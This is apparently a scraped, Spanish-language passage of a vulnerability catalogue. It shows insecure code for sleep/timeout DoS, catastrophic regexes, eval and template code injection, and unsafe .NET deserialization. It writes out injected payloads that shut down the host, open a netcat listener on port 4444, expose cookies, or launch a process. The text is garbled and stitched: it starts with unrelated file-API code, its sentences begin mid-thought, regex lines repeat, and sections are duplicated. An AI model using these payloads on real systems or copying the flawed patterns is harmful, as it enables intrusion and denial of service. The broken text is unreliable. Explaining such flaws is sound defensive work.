var bb = new BlobBuilder();
bb.append('Appending to a file');
fileWriter.write(bb.getBlob('text/plain'));
}, errorHandler);
}, errorHandler);
}
window.requestFileSystem(window.TEMPORARY, 1024*1024, oninit, errorHandler);
procedure go_sleep (
usrSleepTime in NUMBER)
is
dbms_lock.sleep(usrSleepTime);
connect
. Si especifica un número grande, un atacante puede bloquear la función connect
de forma indefinida.
...
insecure_config_ssl_connection_timeout = {
'user': username,
'password': retrievedPassword,
'host': databaseHost,
'port': "3306",
'connection_timeout': connection_timeout
}
mysql.connector.connect(**insecure_config_ssl_connection_timeout)
...
Ejemplo 2: el siguiente código lee una cadena de un archivo. Como utiliza el método
Kernel.sleep(user_input)
readline()
sin especificar un límite, leerá una cantidad ilimitada de datos de entrada. Un atacante podría aprovechar este código para provocar que el proceso se cuelgue, a la vez que consume más y más memoria, hasta que posiblemente se quede sin memoria por completo.
fd = File.new(myFile)
line = fd.readline
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
NSString *regex = @"^(e+)+$";
NSPredicate *pred = [NSPRedicate predicateWithFormat:@"SELF MATCHES %@", regex];
if ([pred evaluateWithObject:mystring]) {
//do something
}
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
let regex : String = "^(e+)+$"
let pred : NSPredicate = NSPRedicate(format:"SELF MATCHES \(regex)")
if (pred.evaluateWithObject(mystring)) {
//do something
}
Example 1
, si el usuario malintencionado proporciona la cadena "eeeeZ", a continuación, habrá 16 evaluaciones internas que el analizador regex deberá seguir para identificar una coincidencia. Si el usuario malintencionado proporciona 16 "e" ("eeeeeeeeeeeeeeeeZ") como cadena, el analizador regex deberá realizar 65536 (2^16) evaluaciones. El usuario malintencionado puede llegar a consumir recursos informáticos al aumentar el número de caracteres consecutivos de coincidencia. No hay implementaciones de expresiones regulares conocidas que sean inmunes a esta vulnerabilidad. Todas las plataformas y los lenguajes son vulnerables a este ataque.routes.Ignore
en aplicaciones ASP.NET. Este método permite que la entrada externa defina comportamientos de enrutamiento. Específicamente, el uso de comodines, como {*allaspx}
, proporciona a los atacantes un punto de apoyo para manipular las acciones de enrutamiento. El problema central surge cuando la entrada que controla estos patrones comodín no se valida o desinfecta meticulosamente.
...
user_ops = request->get_form_field( 'operation' ).
CONCATENATE: 'PROGRAM zsample.| FORM calculation. |' INTO code_string,
calculator_code_begin user_ops calculator_code_end INTO code_string,
'ENDFORM.|' INTO code_string.
SPLIT code_string AT '|' INTO TABLE code_table.
GENERATE SUBROUTINE POOL code_table NAME calc_prog.
PERFORM calculation IN PROGRAM calc_prog.
...
operation
es un valor benigno. Sin embargo, si el atacante especifica operaciones de idioma que son válidas y maliciosas al mismo tiempo, dichas operaciones se ejecutarán con todos los privilegios del proceso primario. Estos ataques llegan a ser más peligrosos cuando el código que se inyecta accede a recursos del sistema o ejecuta comandos del sistema. Por ejemplo, si un usuario malintencionado especifica "MOVE 'shutdown -h now' to cmd. CALL 'SYSTEM' ID 'COMMAND' FIELD cmd ID 'TAB' FIELD TABL[]." como valor de operation
, se ejecutaría un comando de apagado en el sistema host.
...
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var userOps:String = String(params["operation"]);
result = ExternalInterface.call("eval", userOps);
...
operation
es un valor benigno, como "8 + 7 * 2", en cuyo caso, a la variable result
se le asigna un valor de 22. Sin embargo, si un usuario malintencionado especifica operaciones de lenguaje que son válidas y malintencionadas, dichas operaciones deberían ejecutarse con todos los privilegios del proceso principal. Estos ataques son incluso más peligrosos cuando el lenguaje subyacente proporciona acceso a los recursos del sistema o permite la ejecución de comandos del sistema. En el caso de ActionScript, el atacante podría utilizar esta vulnerabilidad para ejecutar un ataque XSS (Cross-Site Scripting).
...
public static object CEval(string sCSCode)
{
CodeDomProvider icc = CodeDomProvider.CreateProvider("CSharp");
CompilerParameters cparam = new CompilerParameters();
cparam.ReferencedAssemblies.Add("system.dll");
cparam.CompilerOptions = "/t:library";
cparam.GenerateInMemory = true;
StringBuilder sb_code = new StringBuilder("");
sb_code.Append("using System;\n");
sb_code.Append("namespace Fortify_CodeEval{ \n");
sb_code.Append("public class FortifyCodeEval{ \n");
sb_code.Append("public object EvalCode(){\n");
sb_code.Append(sCSCode + "\n");
sb_code.Append("} \n");
sb_code.Append("} \n");
sb_code.Append("}\n");
CompilerResults cr = icc.CompileAssemblyFromSource(cparam, sb_code.ToString());
if (cr.Errors.Count > 0)
{
logger.WriteLine("ERROR: " + cr.Errors[0].ErrorText);
return null;
}
System.Reflection.Assembly a = cr.CompiledAssembly;
object o = a.CreateInstance("Fortify_CodeEval.FortifyCodeEval");
Type t = o.GetType();
MethodInfo mi = t.GetMethod("EvalCode");
object s = mi.Invoke(o, null);
return s;
}
...
sCSCode
es un valor benigno, como "return 8 + 7 * 2", en cuyo caso 22 es el valor de devolución de la función CEval
. Sin embargo, si el atacante especifica operaciones de idioma que son válidas y maliciosas al mismo tiempo, dichas operaciones se ejecutarán con todos los privilegios del proceso primario. Estos ataques son incluso más peligrosos cuando el lenguaje subyacente proporciona acceso a los recursos del sistema o permite la ejecución de comandos del sistema. Por ejemplo, .Net permite invocar las API de Windows. Si un atacante especifica "return System.Diagnostics.Process.Start(\"shutdown\", \"/s /t 0\");" como el valor de operation
, se ejecutará un comando de apagado en el sistema host.
...
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");
userOps = request.getParameter("operation");
Object result = scriptEngine.eval(userOps);
...
operation
es un valor benigno, como "8 + 7 * 2", en cuyo caso la variable result
se asigna a un valor de 22. No obstante, si un atacante especifica operaciones de idiomas que sean tanto válidas como maliciosas, estas operaciones se ejecutarían con todos los privilegios del proceso primario. Estos ataques son incluso más peligrosos cuando el lenguaje subyacente proporciona acceso a los recursos del sistema o permite la ejecución de comandos del sistema. Por ejemplo, JavaScript permite la invocación de objetos Java. Si un usuario malintencionado especifica " java.lang.Runtime.getRuntime().exec("shutdown -h now")" como valor de operation
, se ejecutará un comando de apagado en el sistema host.
...
userOp = form.operation.value;
calcResult = eval(userOp);
...
operation
es un valor benigno, como "8 + 7 * 2", en cuyo caso la variable calcResult
se asigna a un valor de 22. No obstante, si un atacante especifica operaciones de idiomas que sean tanto válidas como maliciosas, estas operaciones se ejecutarían con todos los privilegios del proceso primario. Estos ataques son incluso más peligrosos cuando el lenguaje subyacente proporciona acceso a los recursos del sistema o permite la ejecución de comandos del sistema. En el caso de JavaScript, el atacante puede utilizar esta vulnerabilidad para realizar un ataque de secuencias entre sitios.
...
@property (strong, nonatomic) WKWebView *webView;
@property (strong, nonatomic) UITextField *inputTextField;
...
[_webView evaluateJavaScript:[NSString stringWithFormat:@"document.body.style.backgroundColor="%@";", _inputTextField.text] completionHandler:nil];
...
<body>
de webView
debería tener como estilo un fondo azul. Sin embargo, si un usuario malintencionado proporciona una entrada malintencionada todavía válida, podría ser capaz de ejecutar código JavaScript arbitrario. Por ejemplo, dado que JavaScript puede obtener acceso a determinado tipo de información privada, como las cookies, si un usuario malintencionado especificara "white";document.body.innerHTML=document.cookie;"" como entrada de UITextField, la información de cookie se escribiría en la página de manera visible. Estos ataques son incluso más peligrosos cuando el lenguaje subyacente proporciona acceso a los recursos del sistema o permite la ejecución de comandos del sistema, como cuando el código inyectado se ejecuta con todos los privilegios del proceso primario.
...
$userOps = $_GET['operation'];
$result = eval($userOps);
...
operation
es un valor benigno, como "8 + 7 * 2", en cuyo caso a la variable result
se le asigna un valor de 22. No obstante, si un atacante especifica operaciones de idiomas que sean tanto válidas como maliciosas, estas operaciones se ejecutarían con todos los privilegios del proceso primario. Estos ataques son incluso más peligrosos cuando el lenguaje subyacente proporciona acceso a los recursos del sistema o permite la ejecución de comandos del sistema. Por ejemplo, si un usuario malintencionado especificara "exec('shutdown -h now')" como el valor de operation
, se ejecutaría en el sistema host un comando de apagado.
...
userOps = request.GET['operation']
result = eval(userOps)
...
operation
es un valor benigno, como "8 + 7 * 2", en cuyo caso a la variable result
se le asigna un valor de 22. No obstante, si un atacante especifica operaciones de idiomas que sean tanto válidas como maliciosas, estas operaciones se ejecutarían con todos los privilegios del proceso primario. Estos ataques son incluso más peligrosos cuando el lenguaje subyacente proporciona acceso a los recursos del sistema o permite la ejecución de comandos del sistema. Por ejemplo, si un usuario malintencionado especificara "os.system('shutdown -h now')" como el valor de operation
, se ejecutaría en el sistema host un comando de apagado.
...
user_ops = req['operation']
result = eval(user_ops)
...
operation
es un valor benigno, como "8 + 7 * 2", en cuyo caso la variable result
se asigna a un valor de 22. No obstante, si un atacante especifica operaciones de idiomas que sean tanto válidas como maliciosas, estas operaciones se ejecutarían con todos los privilegios del proceso primario. Estos ataques son incluso más peligrosos cuando el lenguaje subyacente proporciona acceso a los recursos del sistema o permite la ejecución de comandos del sistema. Con Ruby esto se permite y, dado que se pueden ejecutar varios comandos delimitando las líneas con un punto y coma (;
), también habilitaría la ejecución de múltiples comandos con una sola inyección, sin romper el programa por ello. operation
"system(\"nc -l 4444 &\");8+7*2", se abriría el puerto 4444 para escuchar una conexión en el equipo y seguiría devolviendo el valor de 22 a result
...
var webView : WKWebView
var inputTextField : UITextField
...
webView.evaluateJavaScript("document.body.style.backgroundColor="\(inputTextField.text)";" completionHandler:nil)
...
<body>
de webView
debería tener como estilo un fondo azul. Sin embargo, si un usuario malintencionado proporciona una entrada malintencionada todavía válida, podría ser capaz de ejecutar código JavaScript arbitrario. Por ejemplo, dado que JavaScript puede obtener acceso a determinado tipo de información privada, como las cookies, si un usuario malintencionado especificara "white";document.body.innerHTML=document.cookie;"" como entrada de UITextField, la información de cookie se escribiría en la página de manera visible. Estos ataques son incluso más peligrosos cuando el lenguaje subyacente proporciona acceso a los recursos del sistema o permite la ejecución de comandos del sistema, como cuando el código inyectado se ejecuta con todos los privilegios del proceso primario.
...
strUserOp = Request.Form('operation')
strResult = Eval(strUserOp)
...
operation
es "8 + 7 * 2". La variable strResult
devuelve un valor de 22. Sin embargo, si un usuario especifica otras operaciones de lenguaje válidas, esas no solo se ejecutan, sino que lo hacen con todos los privilegios del proceso principal. La ejecución de código arbitraria será más peligrosa cuando el lenguaje subyacente proporcione acceso a los recursos del sistema o permita la ejecución de comandos del sistema. Por ejemplo, si un usuario malintencionado especifica operation
como " Shell('C:\WINDOWS\SYSTEM32\TSSHUTDN.EXE 0 /DELAY:0 /POWERDOWN')" se ejecutaría un comando de apagado en el sistema host.
...
string name = Request["username"];
string template = "Hello @Model.Name! Welcome " + name + "!";
string result = Razor.Parse(template, new { Name = "World" });
...
operation
es un valor benigno, como "John", en cuyo caso la variable result
se asigna a un valor de "Hello World! Welcome John!". No obstante, si un atacante especifica operaciones de idiomas que sean tanto válidas como maliciosas, estas operaciones se ejecutarían con todos los privilegios del proceso primario. Estos ataques son incluso más peligrosos cuando el lenguaje subyacente proporciona acceso a los recursos del sistema o permite la ejecución de comandos del sistema. Por ejemplo, Razor permite la invocación de objetos C#; si un atacante especificase " @{ System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.EnableRaisingEvents=false; proc.StartInfo.FileName=\"calc\"; proc.Start(); }" como el valor de name
, se ejecutaría un comando del sistema en el sistema host.
...
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");
userOps = request.getParameter("operation");
Object result = scriptEngine.eval(userOps);
...
operation
es un valor benigno, como "8 + 7 * 2", en cuyo caso la variable result
se asigna a un valor de 22. No obstante, si un atacante especifica operaciones de idiomas que sean tanto válidas como maliciosas, estas operaciones se ejecutarían con todos los privilegios del proceso primario. Estos ataques son incluso más peligrosos cuando el lenguaje subyacente proporciona acceso a los recursos del sistema o permite la ejecución de comandos del sistema. Por ejemplo, JavaScript permite la invocación de objetos Java. Si un usuario malintencionado especifica " java.lang.Runtime.getRuntime().exec("shutdown -h now")" como valor de operation
, se ejecutará un comando de apagado en el sistema host.
...
userOp = form.operation.value;
calcResult = eval(userOp);
...
operation
es un valor benigno, como "8 + 7 * 2", en cuyo caso la variable calcResult
se asigna a un valor de 22. No obstante, si un atacante especifica operaciones de idiomas que sean tanto válidas como maliciosas, estas operaciones se ejecutarían con todos los privilegios del proceso primario. Estos ataques son incluso más peligrosos cuando el lenguaje subyacente proporciona acceso a los recursos del sistema o permite la ejecución de comandos del sistema. En el caso de JavaScript, el atacante puede utilizar esta vulnerabilidad para realizar un ataque de secuencias entre sitios.
...
strUserOp = Request.Form('operation')
strResult = Eval(strUserOp)
...
operation
es "8 + 7 * 2". La variable strResult
devuelve un valor de 22. Sin embargo, si un usuario especifica otras operaciones de lenguaje válidas, esas no solo se ejecutan, sino que lo hacen con todos los privilegios del proceso principal. La ejecución de código arbitraria será más peligrosa cuando el lenguaje subyacente proporcione acceso a los recursos del sistema o permita la ejecución de comandos del sistema. Por ejemplo, si un usuario malintencionado especifica operation
como " Shell('C:\WINDOWS\SYSTEM32\TSSHUTDN.EXE 0 /DELAY:0 /POWERDOWN')" se ejecutaría un comando de apagado en el sistema host.Delegate
en una clase determinada introduce una vulnerabilidad de ejecución de código arbitrario al deserializar la clase.Delegate
se utiliza para contener la referencia a una llamada a un método que se puede invocar más adelante en el código de usuario. .NET utiliza serialización personalizada durante los tipos de serialización Delegate
y utiliza la clase System.DelegateSerializationHolder
para almacenar la información del método que está adjunto o suscrito a un Delegate
. El flujo serializado del objeto Delegate
no es adecuado para el almacenamiento persistente o para pasarlo a una aplicación remota, porque si un atacante puede reemplazar la información del método con una que apunte a un gráfico de objeto malicioso, el atacante podrá ejecutar un código arbitrario.Delegate
y se invoca en el método Executor
:
...
[Serializable]
class DynamicRunnner
{
Delegate _del;
string[] _arg;
public DynamicRunnner(Delegate dval, params string[] arg)
{
_del = dval;
_arg = arg;
}
public bool Executor()
{
return (bool)_del.DynamicInvoke(_arg);
}
}
...
Example 1
, un atacante podría sustituir la información del método con información que apuntase a Process.Start
, con lo que se crearía un proceso arbitrario cuando se llamase al método Executor
.Stream
de una conexión como entrada y lo deserializa de vuelta en un objeto .NET. A continuación, devuelve el resultado tras convertirlo en una lista de objetos de cadena:
...
List <string> Deserialize(Stream input)
{
var bf = new BinaryFormatter();
var result = (List <string>)bf.Deserialize(input);
return result;
}
...
Example 1
se puede reescribir como se muestra a continuación:
...
List <string> Deserialize(Stream input)
{
var bf = new BinaryFormatter();
object tmp = bf.Deserialize(input);
List <string> result = (List <string>)tmp;
return result;
}
...
Example 2
, la operación de deserialización se realizará correctamente siempre y cuando la secuencia de entrada sea válida, sin importar que el tipo sea List <string>
o no.bin
o en GAC
y que el atacante no puede insertar, de forma que estos ataques dependen de las clases disponibles en el entorno de la aplicación. Por desgracia, es posible aprovechar las clases comunes de otros fabricantes, o incluso las clases de .NET, para agotar los recursos del sistema, eliminar archivos, implementar archivos malintencionados o ejecutar un código arbitrario.